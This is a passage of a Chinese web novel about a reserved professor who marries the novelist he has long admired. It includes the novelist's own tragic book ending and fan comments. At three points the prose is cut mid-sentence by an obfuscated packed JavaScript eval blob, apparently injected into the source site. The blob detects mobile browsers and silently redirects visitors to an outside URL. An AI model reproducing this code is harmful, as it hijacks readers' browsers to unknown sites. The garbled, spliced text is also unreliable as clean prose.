唐灼躺在床上点开今日更新,读完之后好像懂了一些顾辞安内心到底在纠结和挣扎着什么。 乔安是他笔下的人物,又何尝没有倾注他本人潜藏在心底的悲观和消极,是日积月累中慢慢累积起来的,或许顾辞安都不知道,实际的结局,也早已将他困于其中。 顾辞安要的从来不是轰轰烈烈,他所求的不过是一份永远都不会走的踏实。 上周和顾辞安约会,没去父母家。 这周他抽了一天不算忙的工作日,下班后直接开车回了爸妈家。 饭菜早已备好,都是唐灼爱吃的。唐灼不算挑剔,什么都吃一点,爱吃的也就那么几样,都是简单易上手的,相当好伺候。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17434354|200943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>唐妈妈总打趣唐灼,他从小活得就像个老头儿,小时候就一点儿没有孩子的纯真,总是一副安静的样子,还经常反过来提醒他们,多穿衣服,少喝酒,总之就是让人哭笑不得。 唐妈妈年轻时候就是个大美人儿,和唐父感情很好,这么大年纪了还经常一起出去自驾游。 两人都是开明的父母,唐灼又早熟,也不需要过多操心,这么多年唯一盼着的就是唐灼能有个伴儿,无所谓性别,彼此喜欢,能有个知冷暖的足以。 今儿唐灼好不容易回来,唐妈妈不放过一点儿机会,赶忙问:“儿子,上次你赵阿姨介绍的那个相亲对象,你真的去见了?” 唐灼埋头吃饭,嗯了一声。 听到这儿,唐妈妈语气激动了几分,旁边的唐父耳朵也树了起来:“真的?!以前你可从来都不会答应的,快,跟我们说说。” 唐灼放下手中的筷子,郑重其事地说:“正好,反正迟早都是要说的。他叫顾辞安,今年二十八岁,是个网文作者,他父母是普通退休职工,我们见了几次。” “这么小,跟你不会有代沟吗?你这副老成的样子能和人家聊得来吗?”唐妈妈疑惑道。 “诶,说什么呢。还是个小作者,一看就是有想法的孩子,既然唐灼觉得不错,那肯定人是没问题的,试着相处吧。”唐父倒是没什么看法,他一向相信唐灼的眼光。 唐灼顿了顿,面无表情地一句话砸得二老顿时安静:“我会和他结婚,或许很快,到时候你们别太惊讶。” 足足十分钟,唐妈妈才回神,以为唐灼年龄焦虑,急着给自己人生写个答卷:“那什么,会不会太草率了点,婚姻不是必需品,虽然我们也希望你有个知冷暖的,但……还是得有感情才好啊,你要不考虑考虑?” “爸妈,你们还记得我之前有个柜子收藏了很多书和周边吗?” “嗯,你还很宝贝,让我定期打扫。不……不会吧?” “嗯,我也是通过赵阿姨才偶然得知顾辞安就是那个作者,要不然,我也不会同意相亲。具体什么时候喜欢的不知道,但应该很多年了,没想到能遇到。” 这下明白了,怪不得唐灼这么多年独身一人,也没什么谈恋爱的想法,原来在这儿等着呢。 别人可能不了解唐灼,但自己儿子,唐妈妈再清楚不过,别看表面上稳重踏实,骨子里执拗又强势,但凡被他认定、能握在掌心里的人,再没放手的可能。 “看来,事成之后,你得好好给你赵阿姨包个大红包。不过我可提醒你,人孩子比你小,别那么强势,说什么就是什么,别把人家吓着,回头跑了,我看你怎么办。” “嗯,知道了。不过爸妈,这件事儿希望你们帮我保密,至于什么时候坦白,我有我的想法。” “行。”孩子们之间的事,不需要他们插手,只需要做好父母该做的就行,这道理他们自然懂,唐灼有自己的节奏,也是个有分寸的孩子。 饭后,唐父唐母在厨房边洗碗边偷偷摸摸说什么,唐灼也不在意。 他径直上楼,去了那间尘封已久的书房,里面大大小小的奖杯、证书堆满了一整个墙面,唯有正中间的一个格子里干干净净,单独摆放着顾辞安的作品。 顾辞安不算多么出名,这些都是唐灼托出版社的朋友或者是从二手市场淘回来的,东西不多,却每件都被码得整整齐齐,周围一尘不染,看得出主人的细心对待和发自内心的爱惜。 8. 第 8 章 “叮咚……叮咚……” 顾辞安是被门铃声吵醒的,他拿起手机看了眼时间,早上七点半。 这个点儿能敲门的,除了李女士,也没别人了。 他揉了揉眼睛,清醒片刻才慢悠悠起身穿上拖鞋朝外走去。 开门,转身,走向浴室,一气呵成。 “你这孩子,大早晨的不说出去吃个早饭锻炼锻炼,你看看人家上班的这个点儿都起床了。哎哟,这屋子阴沉沉的,连个太阳也照不进来。”李女士一边嘴里说个不停,一边嫌弃地打开了不大的窗户。 “通通风,看这霉味儿,也就你能住得下去,还不如和我们住,当初不听话非得搬出去,我看你后没后悔……” 顾辞安嘴里塞着牙刷,面无表情地刷着牙。后悔吗?当然不后悔,起码这些念叨能少一半儿,耳根子清净。 他从浴室出来,给李女士倒了杯水,看着在厨房忙活的女人,估计是刚从超市出来,买了好几袋速食产品和蔬菜罐头之类的日常食品,一件件将空荡荡的冰箱塞了个全乎。 做父母的就是这样,一面因为莫名其妙的理由嫌弃着你,一面又会下意识地心疼孩子,怕他吃不饱穿不暖。 “妈,您怎么来了。”他妈妈一般不会过来,顾辞安猜想应该是这段时间没怎么电话联系,有事儿要问他了,顺便过来看看。 “哦,遛弯看到超市打折,买点东西给你送过来,顺便问问你最近什么情况,我不问你就不说了。”果然,后半句才是重点。 顾辞安明知故问:“什么什么情况?” “上次你赵姨介绍的那个教授,处得怎么样?你这没个动静,这都一个多月了,要是人家没看上你,也别耽误时间,咱再见别的。” 他妈妈还要再说什么,被顾辞安打断了,问了疑惑很久的问题:“妈,到底为什么非得让我结婚?我才二十八,在现在这个社会根本不算大,这年纪没结婚的大有人在,我这个情况,也不存在传宗接代的问题,结不结又有什么区别?” “你当初要是踏踏实实听我和你爸的话,找个体面工作,我们当然也不着急。这么多年,我算是知道你就揪着写书不放了,你扪心自问一下看看这几年有什么成就吗? 不结婚?不结婚想干什么,一个人过一辈子?也就现在还不算太大,能找下,再过几年,更没人能看得上了,早点结婚,至少有人能管着你,我们也算了却一桩心事。” 顾辞安内心嗤笑一声,从小到大,没从父母嘴里听过一句真心实意的夸奖,看来,以后也可能性不大了,自嘲地问道:“所以,结婚就好了?” “那当然,你现在心还不稳,结了婚过了日子,慢慢就都懂了。” 没意义再辩驳什么,根深蒂固的想法是没办法改变的。 “那你这到底和教授进展如何,要是人家没想法,我就让赵姨联系别人,总能找到的,不过条件肯定差点,现在这年头,能遇上教授可不多了。” “行了,别介绍了,偶尔还联系。” “联系,这都多长时间了,感情可以慢慢培养,谁相亲不是奔着结婚去的,你别是没跟人家说清楚吧,有希望就抓紧点,知道了没?” “嗯,知道了。”刚刚顾辞安眼里捕捉到的那点儿母子之间的爱意,早已在这一番对话中冲刷殆尽,他暗自想,那些馄饨,自己也能买。 送走李女士后,顾辞安坐在沙发上,双肘撑在膝盖上,将脸沉沉地埋在掌心里,周围一片寂静,但刚刚叽叽喳喳的声音还在脑海中环绕,久久不能消散,吵得头疼。 结婚吗?没感情基础也可以吗? 虽然在理性上,他自始至终觉得世间所有的爱情最终大概率都会褪色变质,被现实磨得面目全非。 可顾辞安又是感性的,他幻想和渴望得到的,自始至终都是从一而终、彼此认定一生的浪漫结局,可他也自知这不可能。 长期的自我拉扯,让顾辞安陷入了他自己设定的感情悖论中,这或许也是他很难再写出打动人心的文字和圆满美好结局的原因吧。 既然怎么样都是挣扎,不如妥协。 如果必须要选的话,到目前为止遇到的人,似乎也只有唐教授,情绪稳定又待人礼貌,也尊重他的职业,或许可以一试。 最重要的是,他没那么抗拒和反感。 就是,不知道唐灼愿不愿意。 顾辞安将脸从掌心中抬起,因为按压时间过长,脸颊印出了几道红痕。 他随手从桌子上的烟盒中抽出一支烟,指尖无意识摩挲着烟头,火苗灭了又亮,终于点燃,他垂着头,深深吸了一口,吐出的烟圈在空气中逐渐散开,像是挣扎了多年的倔强,最终只能在风中消散,不留一点痕迹。 一支烟毕,顾辞安将灭了的烟头碾在烟灰缸里,起身去冰箱拿了一小瓶高度白酒,没有一丝犹豫地仰头灌了下去。 泛白的指尖拨通了手机屏幕上停留许久的名片,电话接通前的几秒,仿佛一切都被拉得无限长,看不到边际。 顾辞安的嗓音在烟和酒的刺激下哑了几分,喝得过猛,头也涨了起来,但还是勉强稳住气息,尽量和平日没什么区别:“唐教授,抱歉这个点儿打扰你,有空吗?我想……想问你点儿事。” 今天的例会时间是提前约好的,临近九点的时候唐灼正准备拿着电脑和学生去会议室,顾辞安的电话来了。 顾辞安不是没分寸的,即便有事也会提前在手机上询问,更何况,顾辞安从来没有主动给唐灼打过电话。 听到电话那头沙哑且略显迟钝的声音,唐灼思索片刻,捂住听筒声音极低地安排学生先讲,他稍晚一会儿过去,等学生走后,办公室就剩下唐灼一人,才用与刚刚截然不同的语气温和地对顾辞安说:“嗯,有空,你问。” 电话那头久久未出声,就在唐灼准备再次询问时,顾辞安说话了,他声音极低,涩涩的声音中藏着几分犹豫和纠结,一字一字地从喉咙中艰难地挤出:“唐……灼,你……会愿意……和我……结婚吗。” 明明该是高兴激动的,可唐灼的心不知道被什么攥紧了些,又酸又胀,莫名心疼。 本以为这句话是从自己嘴里说出来的,没想到是顾辞安先提的,顾辞安像被困在冰块里的人,他只能慢慢捂化,但他从来都不急。 然而就在这个平淡如常的上午,顾辞安的话打破了他的计划。 “那个、抱歉,有些突然,不愿意也没关系,我可以理解,那什么……” “顾辞安,我愿意。” 顾辞安没想到唐灼答应得这么快,他怀疑自己是不是听错了:“什么?” 唐灼不带一丝犹豫,声音沉稳笃定:“我说,我愿意。” “哦……”顾辞安脑子是懵的,声音是虚飘着的,这一个早晨,都像是在做梦。 “除了这个,还有其他想问的吗?” “为什么?” 为什么?没有为什么,因为你一出现,就已经在心底埋了根、发了芽。 “那顾先生是为什么?” “因为,如果是你的话,我可以试试。”没有虚伪的措辞,不是喜欢,也不是好感,但这已经足够了,起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17434355|200943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 码在唐灼这里,顾辞安是愿意试着展开内心的。 “我也是。” “那……你先忙,没什么事的话先挂了。”顾辞安那边早已晕的不成样子,为了壮胆子鼓足气问出那句话,着实是喝了不少。 “好,我先开会。” 电话挂断后,唐灼立在原地许久,窗外的玉兰开的正好,风一吹,落了满地。 他懵懵懂懂喜欢了许久的人,好像……终于是他的了。 虽然比预计提早了不少,但既然如此,那就在以后的日子努力让他开心快乐地生活吧。 能走到现在,已经足够幸运了。 顾辞安再次醒来的时候窗外的天色已然暗淡,没想到这一睡足足睡了一整天。 结束通话后,顾辞安半醉半醒地直接倒在床上,直到现在,头脑逐渐清晰,才意识到白天自己干了什么、说了什么,以及,唐灼同意和他结婚了。 他也是在他妈妈的刺激下,一股脑热才做了这样的决定。 其实打心眼儿里,顾辞安并不认为唐教授会答应和他结婚,毕竟相比之下,自己各方面确实没什么能拿得出手的,唐灼有更多更好的选择。顾辞安也只是抱着豁出去的心态试试,没想到这么顺利,有些出乎他的意料了。 肚子饿得慌,从昨晚到现在什么东西都没吃,除了一支烟和一瓶酒,铁打的胃,在这么作弄下,也得出问题,更何况因为常年三餐不定、烟酒不忌,再加上情绪问题,顾辞安的胃病一直都摆在那儿。 果不其然,除了饿,还有些隐隐作痛。 他起身去客厅的药箱里拿出一袋冲剂,治标不治本,不过总比不吃强。 草草喝完药后,顾辞安去厨房的冰箱里,把早晨他妈妈买来的馄饨煮了几个,看着碗里冒着热气儿的馄饨,顾辞安边吃边说:“这下,您应该满意了。” 顾辞安拿起手机,拍了张照片,打开和他妈妈的对话框,聊天记录许久没再动过,上次的对话还停留在一个月前,他将照片点击了发送,写下一句【谢谢妈】。 无论好与坏,超市里下意识的采买是真的,那些难听的话背后的关心和担忧也是真的,这么多年过去了,没必要拧巴着不放。 顾辞安是真心实意地感谢。感谢李女士没戳破他的拮据,而是默默将冰箱填满,也感谢阴差阳错让他认识了唐灼,这个和他三观契合、待人温润如玉的教授,无论从哪个角度来看,都是再合适不过的人选。 吃完饭后,顾辞安把桌子收拾干净,准备打开电脑构思《少年陷落》的终章。 就在此时,手机响了,是唐灼发来的消息。 【唐教授:醒了吗?我想问一下,你希望哪天去领结婚证?】 顾辞安不知道为什么唐教授会问他醒了没,难道白天听出来他喝酒了?不应该啊,他自诩藏的很好,唐灼没这么细致吧。 没想明白,索性也就不研究了。他其实对哪天领证没什么想法,既然决定结婚,哪天都行。 【唐教授决定吧,我都可以。】 唐灼算了算时间,定下日子,又打下一行字,这次不是疑问句,而是陈述句: 【唐教授:那就下周一吧。结婚后去我那边住吧,那套房子是我之前买的,大小应该够两个人住。】 结婚后住在一起是理所当然的,没道理领了证的夫夫还分居,自己这个老破小也是租的,肯定不合适,顾辞安犹豫了半晌,好像也没什么应该纠结的,便应了下来。 【唐教授:好,那下周见,你这周可以稍微收拾收拾东西。】 【好的。】 9. 第 9 章 生命的答卷到底有些什么题目,顾辞安不知道。 身边的人有毕业之后找到年薪几十万的工作,过得风生水起;有步入婚姻结婚生子进入了人生的下一个阶段;也有热爱自由、不被世俗所困、看遍世界的人。 或许人人都会在某一个年龄段突然焦虑,看着周围的人似乎都交了满意的答卷,而自己手里的那张试题还空空如也,一字未落,可那又怎么样呢? 顾辞安从来没有因此焦虑过,可是却有人死死攥着他的手,着急让他随大流,以免被人指指点点。 现在,答卷交了,可站在岔路口的顾辞安心里却空空的,他不知道接下来的路怎么走才能走好,又要走到哪里去。 静下心来才发觉,昨日的冲动过后,剩下的除了害怕还有担忧,但是走到现在,也没有再退的理由,没必要,是好是坏,自己担着。 顾辞安无奈摇了摇头,自嘲他想太多,双手扶在洗手池的台面上,镜子里的人脸上的水珠还没擦净,一滴滴顺着脸颊落下来,一捧捧冰冷的水足矣让人清醒。 结婚是他提的,唐教授是他选的,有什么好纠结的。 接下来的几天,顾辞安就无所事事地开始收拾家里的东西,他的东西不多,几个箱子应该就能装下了。 下楼去快递站找空纸箱的时候,恰好碰见了在楼下盯着棋盘犯愁的胡大爷,这个小区顾辞安虽说住了挺久,但真正打过交道认识的人其实没几个。 他和胡大爷的相遇也蛮有趣,老头子那天买早饭忘带钱了,又是个老顽童,本来好好说话就行,硬生生和人家吵得不可开交,最后顾辞安看不下去了,几块钱的事儿,就帮胡大爷付了。 后来一来二去俩人在楼下遇到就会说几句,胡大爷一生无妻无子,看着顾辞安不吵不闹性格清冷又不孤傲,合眼缘得很。 “诶,小顾,快来快来,这棋怎么就不对了,这些老头子,说不过我就走了,没劲!” 眼前的老人和传来的声音让他恍惚间觉得已过了四五年,还是那个执拗的语气和神情,还是那个让人哭笑不得又忍不住关心的老人,顾辞安的爷爷走得早,所以看见孤零零的老人总是生出几分没来由的软意。 “来了。”顾辞安假意低头看了看棋盘,接着对胡大爷说:“您这棋下的没问题,人家不跟你玩估计又是吵架了吧,您也是,怎么脾气这么犟,容易没朋友的。” “哼,没朋友?像你这样的就有朋友了?谁也别说谁,你这小子跟我也差不多。”胡大爷轻哼一声,戳心窝子的话一茬儿接一茬儿,但语气没有半分讥讽,反倒带了几分玩笑的意味。 “是呢,咱俩都差不多。” “你这提着箱子要干嘛去?收破烂儿啊。” 也不知道说话这么难听的老头子,是怎么平平安安、生龙活虎地活了大半辈子的。 顾辞安耐心地说:“要搬家了,以后估计您就不能经常看到我在垃圾桶里捡垃圾了。” “干嘛搬家,和我唠嗑儿不好吗。” 顾辞安眼神空洞地看着棋盘,似是说给胡大爷,又似是说给自己听:“要结婚了。” 胡大爷看着眼前迷茫的青年,正经了几分:“怎么,不喜欢人家?” “没有,相亲认识的,没什么喜不喜欢,就是怎么说,对以后没什么信心吧。” “你看看,现在年轻人就是想的多,哪儿来那么多信心不信心的。感情是培养出来的,婚姻是经营出来的,只要你认定对方本身是个很好的人,那就都不是问题。至于以后,开心就在一起,不开心就分开,你看我活这么大岁数还能和人干仗,就是秉持身心健康最重要。” 听到“干仗”,顾辞安没忍住笑了出来:“也亏您这么大岁数还能和人干仗。” “那又怎么样,我可不受人气。”胡大爷起身,掌心有力带着一股让人舒心的力量感拍了拍顾辞安的肩膀,语重心长地说: “人生,除了生老病死,都不是什么大事。我这一辈子无妻无子,总觉得人生缺了一部分,但也享受和体会到了别人没有的感觉,没有好与坏,重在体验。” 顾辞安鼻子一酸,好像回到了小时候自己骑车摔倒的时候,爷爷笑着给自己竖起了大拇指,说:“小辞安,真棒,学会摔跤了。” “嗯,知道了,胡爷爷,谢谢您。我走了您也注意身体,别老和人吵架,有什么事就给我打电话,电话您手机里有。” “哼,我能有什么事,赶紧回去收拾吧,新婚快乐啊!” 是祝福,是老人这一辈子没对自己孩子说过的遗憾。 顾辞安回家后,将整理好不常用的东西一件件码齐装进箱子里,看着屋子逐渐空了起来,心好像一瞬间没有了归处。 结束和新生的交汇处,有的人能破茧生蝶,有的会一辈子困在茧房里。 他的人生阶段要画上句号了,乔安和池野的故事,也应该在这里终结了。 顾辞安去浴室把浴缸放好水,带着手机便进了浴室。 修长白皙的手指缓缓将衣扣解开,褪去衣物,露出白的透着淡淡粉红的皮肤,看似清瘦的身躯下却藏着一层薄薄的肉,看着软软的。 他将衣物扔进洗衣机后,长腿跨进浴缸,懒懒散散的躺下去,缓缓呼出一口气,舒舒服服地享受着此刻的娴静。 他拿起手机,将早已编辑好的结局点击了发送。 * <完结章> 从那天之后,池野再也没有联系过乔安。 两人之间仿佛约定好了似的,朋友圈偶尔也会点赞,但没再见过面。 时间像是按了加速键,平淡又枯燥地进行着。乔安仍旧维持着两点一线的生活,从家到学校的距离不算近,他每天都要早起一个小时赶早班车去上班。 即使手里攒的钱足够在学校附近租个房子,但他始终没有换地方,只因为,那段路上,会路过池野的公司。 那个秋天,学校的小路上铺满了落叶,树干逐渐干枯,乔安收到了池野的结婚请柬,新郎是个漂亮的少年,阳光开朗,眉眼处有着和乔安相同的泪痣。 那天,乔安在树下站了许久,从天亮站到天黑。最后,他看着请柬上池野的名字,笑了,是幸福的,他希望池野能永远肆意,永远平安幸福。 只是那张请柬最后没法再用,沾满了泪水,字迹模糊,整张纸都很难辨别一个字。 结婚那天,池野在众宾客中没有见到乔安,只是在酒店前台收到了一个厚重的红包。他知道乔安来过,也很难想象到底花了多久才攒够了这么多礼金。 池野喝了很多很多酒,交换对戒的时候,池野眸光空洞地望着眼前人,双眼泛红,小心翼翼地抚摸着那颗泪痣,接吻的瞬间只尝到了唇间又咸又涩的泪意。 低沉的嗓音颤颤巍巍地溢出,字字带着多年来的执念: “我爱你” 乔安好像消失了,学校说他没多久就辞职了,那间房子也退了,没有人知道乔安去了哪里,像蒸发了一样。 池野托人联系到了乔安之前的房东,房东说乔安走的时候屋子里的东西什么都没拿,好像只背了一个破旧的帆布包,那是池野在他20岁的时候送给他的。 看着眼前空荡荡的房间和手机上“此账号已注销”泛着灰白的字迹,池野知道,乔安走了,再也不回来了,再也没人能找到他。 所有的一切,都被抹了个干干净净,没留下一丝痕迹。 池野一辈子都没能知道,乔安到底爱没爱过他。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17434356|200943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他抱着一个模糊的影子过了半生,到最后,连答案都被一起带走,沉进了无人知晓的岁月里。 ——全文完。 [作者有话说]: 乔安和池野的故事到这里就结束了,对不起大家,当初《少年陷落》本来计划的是HE,但由于各种原因,最后以BE结局。 大家的各种评论,支持鼓励的、批评指正的我都一条一条认真看过,也思考了很多,接下来我会好好沉淀沉淀,近期应该不会很快开新书了,不过不会退圈,只要有一个人还在,我就不会停。 开新书的时候会提前和大家说,再次感谢各位这段时间的陪伴。 还有就是因为很多人不理解乔安的选择和内心的挣扎,我想说他本身就是一个复杂的人,每个人追求幸福的方式不同,对于此,后续可能会出一章番外——<乔安的自白>,感兴趣的可以看一看。 最后,再次谢谢大家。 ——提笔书辞意 * 洗完澡后心无旁骛去睡觉的顾辞安,丝毫没意识到,他的评论区早已炸翻了天。 【这是什么虐心结局,哭死我了,干嘛这样啊!】 【乔安就这么走了?而且池野这样,对他的另一半这一辈子不都是不负责任的表现吗?心里装着一个,还找了个替身,这不是两个人的悲剧,是三个人的悲剧。】 【但是,你们有没有发现,作者之前想往he方面写,怎么都到不对劲,最近这几章,倒是挺揪心的,所以作者适合写be,虐死大家。】 【不仅虐我们,还虐他自己啊,我不信他写的时候没哭。】 …… 【天,你们都不担心作者再也不写了吗?这十年来可是一直没有停更过,不会是被我们骂得写不下去了吧!】 【怎么可能,以前也一直骂,不还是照样写吗?虽然我们骂是真的,但爱也是真的,要不是这样,干嘛骂骂咧咧这么多年,恨铁不成钢懂吗?你小子,千万别给我停更,要不然我就一直在评论区炸!】 【等等,你们说,有没有一种可能,作者隐退结婚去了!】 【不会吧!但是,就算是结婚怎么就不能写了!这是什么见不得人的勾当吗?】 【希望小作者不要隐太久,也希望下部书能给我们带来惊喜!】 唐灼看着比往常多出好几十倍的评论区,认真地一条一条划过,最后在猜测“作者隐退居然是结婚!”的这条帖子下面,混在数千条的点赞中,毫不犹豫地点了个赞。 暗自腹诽,多了几分得意的姿态:对,结婚,和我结婚。 他垂眸望着桌子上的两只丝绒方盒,整整齐齐地并排放着。 那是他在答应和顾辞安结婚的那天,就加急托国外的朋友定的,因为要得急,只能在现有款式上刻字。 唐灼按照自己对顾辞安的了解,选了一对极简的素圈,哑光的质感。 顾辞安的圈内壁刻的是德文,字体极小极淡,不认真看像是戒指内里的印花,是唐灼隐晦、安静的爱意:Immer glücklich——永远开心快乐。 另一枚,他留给了自己,字体颜色更轻、不打光完全看不出来,却在唐灼的无名指上留下深深的烙印:Mein Herz ruht bei dir。 提笔书辞意,此心向君安。 乔安的自白>完结章> 10. 第 10 章 顾辞安从小睡眠就不好,都说人的思绪一旦变得繁杂,脑神经就容易放松不下来。他脑子里想的东西太多了,明明没什么具体的事情,但就是以焦虑的形式显现出来,多年来一直如此。 读书的时候失眠到第二天凌晨四五点是常事,那时候为了不耽误学习,靠一些舒缓神经的药物来辅助睡眠,但也容易导致上课的时候脑袋昏昏沉沉,没什么精神。 后来开始写小说,也没再为睡不着烦心过,反正睡不着的时候就写书,半夜脑子反倒灵光得很,不容易卡文,时间长了自然而然养成了昼夜颠倒的作息。 自从更完《少年陷落》后,顾辞安开始特意调整作息,想好好休整一下,最近一两点就准备入睡,相比之前总是四五点才睡,已经改善了许多。 不过,今天还是失眠了,和唐教授约好的日子到了。 结婚民政局会拍证件照,顾辞安穿了一身白衬衫配黑裤,规矩得体,领口一丝不苟,裤线利落笔直。 他从抽屉里取出证件,随意踩了一双白鞋便出了门。 顾辞安生得漂亮,身形又好,随便搭的衣服也能显得随意又利落,精致得像橱窗里的娃娃。 如果不是眼睛里带着几分淡淡的清冷,单看今天这身穿着,别人大概要以为,这人是个不谙世事、刚毕业的大学生。 到了民政局的时候,距离约好的九点半还有十五分钟,今天唐教授倒是没有比他早到。 时间还早,顾辞安倚着车门,指尖夹着烟,缓缓吸了一口。他望着民政局门口来来往往的人,有的面带笑容,有的仿佛仇人,人生百态,唯有自己知道苦与甜。 那天更完之后顾辞安没再看评论,现在索性看看打发时间,没想到点进去一瞅,整个人都惊了。 整个评论区除了哭天喊地骂他把结局写得这么悲惨之外,就是一溜烟儿全都在祝他新婚快乐。 【新婚快乐】 【+1】 【+1】 …… 顾辞安极其诧异,大家是怎么知道他要结婚的。他往前足足翻了十分钟,这才弄清楚事件原委,一句话概括就是大乌龙事件,巧的是,玩笑和猜测是真的,属实令他有些哭笑不得。 更加令人不解的是,想来稳重不参与这些捕风捉影话题的「辛君捻墨」,这次竟然也在那条帖子下点赞了,这人到底在胡来什么。 正对自己这些书粉无可奈何的时候,身后传来了熟悉的声音:“顾先生,我又迟到了。” 顾辞安抬眸瞬间,神色中带着笑意又无奈的模样,直直撞进了唐灼的视线里,虽然此时此刻像个老烟枪,可就是让唐灼觉得像小孩儿一样可爱。 “没有,是我到的早了些。”顾辞安一边说着一边掐灭了手里的烟,扔进了垃圾桶里。 尽管竭力表现得镇定自若,但唐灼还是看出顾辞安的紧张和无措,他走近几步,高大的身影落在顾辞安身侧,安抚似的轻轻拍了拍顾辞安的胳膊,柔声询问:“可以进去了吗?如果,你没想好,也可以再想想。” 顾辞安没想到唐灼会这么说,完全尊重他,也不会因为那天自己的莽撞赶鸭子上架,好像对唐灼来说这件事没什么所谓,结婚与否,完全取决于他的想法。 两人站在门口,顾辞安想起了胡大爷说的那句“开心就在一起,不开心就分开”,他静了静,回忆和唐教授认识以来的点点滴滴,不可否认,是开心的。 顾辞安深吸一口气,指尖攥着裤缝,再次抬头看向唐灼时,眼神里多了几分确定,结果没那么重要,在他看来都一样,既然都一样,那和唐灼在一起,已然是最好的选择。 “想好了,我们进去吧。” 一前一后的两道身影在此刻重叠,唐灼目光坚定地看着顾辞安的背影,他其实是害怕的,怕顾辞安逃走,第一次害怕自己抓不住又无能为力。 同性婚姻合法后,逐渐有很多曾经不敢将自己性取向示于众人的情侣步入了婚姻的殿堂,终于扬眉吐气地站在了阳光下。 登记处在二楼,唐灼取完号后和顾辞安坐在大厅的椅子上等着叫号。 两人并排落座,坐下的时候,唐灼从大衣的里兜掏出一个精致的盒子递到顾辞安面前,手指搭在盒边,缓缓打开,露出了一对典雅肃静的戒指:“这是我定的对戒,时间匆忙,没来得及跟你商量,试试看合不合适。” 没有多余的解释,一切都显得那么理所当然,顾辞安还没从唐灼变戏法一样拿出戒指的惊讶中回神,唐灼已经拿起了相对小一点的一枚,一只手掌心向上抬起,假意试探道:“戒指是要互相佩戴的,寓意好,可以吗?” “啊、嗯……可以。”顾辞安整个人是懵的,因为紧张而略显冰凉的手被唐灼宽大温热的掌心握住的时候,心脏控制不住地轻轻一颤,是陌生的感觉。 唐灼庄严又郑重地将那枚藏着自己爱意的戒指,从顾辞安无名指的指尖缓缓推入根部,尺寸正好,像是特意为他定制的一般,十分贴合。 这是唐灼为顾辞安打下的烙印,也是他对顾辞安最深沉的祝福。 “刚好合适,我目测的,还担心尺寸不合的话需要重新定做。” 顾辞安本以为只是简单的领证,却没想到唐灼将一切安排得妥帖。戒指戴上的瞬间,让他有一种错觉,他们好像寻常的相爱情侣一样,在彼此爱意最纯净的、最浓烈的时候为对方许下一生。 常年接受不到爱意的人,最容易在那些温柔似是而非的瞬间乱了心神。顾辞安用力敛了敛神,努力让自己保持清醒,告诫自己这只是唐教授对婚姻的敬重,仅此而已。 “抱歉,我好像什么都没准备。” 唐灼笑着摆了摆手,拿出另一枚戒指:“不需要,只是麻烦顾先生给我戴上了。” 顾辞安蜷了蜷指尖,眼神飘着,根本没心思细细打量,接过戒指笨拙地学着唐灼的方式,慢慢套进了对方宽阔干净的指节。 两人凑近的瞬间,顾辞安鼻尖不经意间萦绕开一缕极淡的气息。 不是浓烈的香水味,是带点冷调的木质香,干净又温和,像雨后的松木,环绕在他身边。 这是唐灼身上独有的味道,是挺好闻的香水,竟然无声无息地抚平了他的不安。 戴完后,顾辞安下意识眼神躲闪,轻声对唐灼说“戴好了”。 唐灼向来不带任何配饰,此刻看着无名指上多出来的对戒,满意地笑着回道:“谢谢顾先生。” 周围三三两两的情侣都眉眼带笑、满心期盼地等着,对比之下,他俩这副仿佛陌生人一般的违和感,实在是显得有些格格不入。 人不多,很快就到了他们。 两人根据要求依次提交了需要的资料和证明,在工作人员的引导下在一张张页面上签下了彼此的名字。 顾辞安看着自己的名字和“唐灼”二字,并排落在一页又一页、足以将两人牢牢绑在一起的纸上,相对刚刚互相戴戒指的那份紧张,现下已然平静了许多。 唐灼的字清隽雅正,一笔一划都透着沉稳,十分符合他教授的身份。 直到捏着结婚证站在民政局门口,顾辞安才后知后觉地回过神。 真的……就这么……结婚了。 唐灼看着发呆的顾辞安,压下嘴角的笑意,礼貌又郑重地朝顾辞安伸出右手:“顾先生,以后请多指教。” 顾辞安恍惚了下,轻轻握上唐灼的手,迟钝的应着,声音轻的像飘着,没有实感:“啊、嗯,请……请多指教。” 那双手宽大、有力,掌心仿佛永远裹着踏实的暖意,一碰上他冰凉的指尖,便像雪山脚下撞进一束暖阳,暖烘烘的温度顺着掌心漫进来,总能令人心安。 “我和搬家公司约了时间,一会儿应该会跟你联系,收拾好联系我,下午开完会我去帮你搬。” 其实顾辞安早已收拾的差不多,本想着到时候自己开着车搬个一两趟就能搞定,只是没想到唐灼早都帮他安排好了,妥帖牢靠,不需要自己多操心,但还是不忍麻烦对方:“没事,东西不多,我 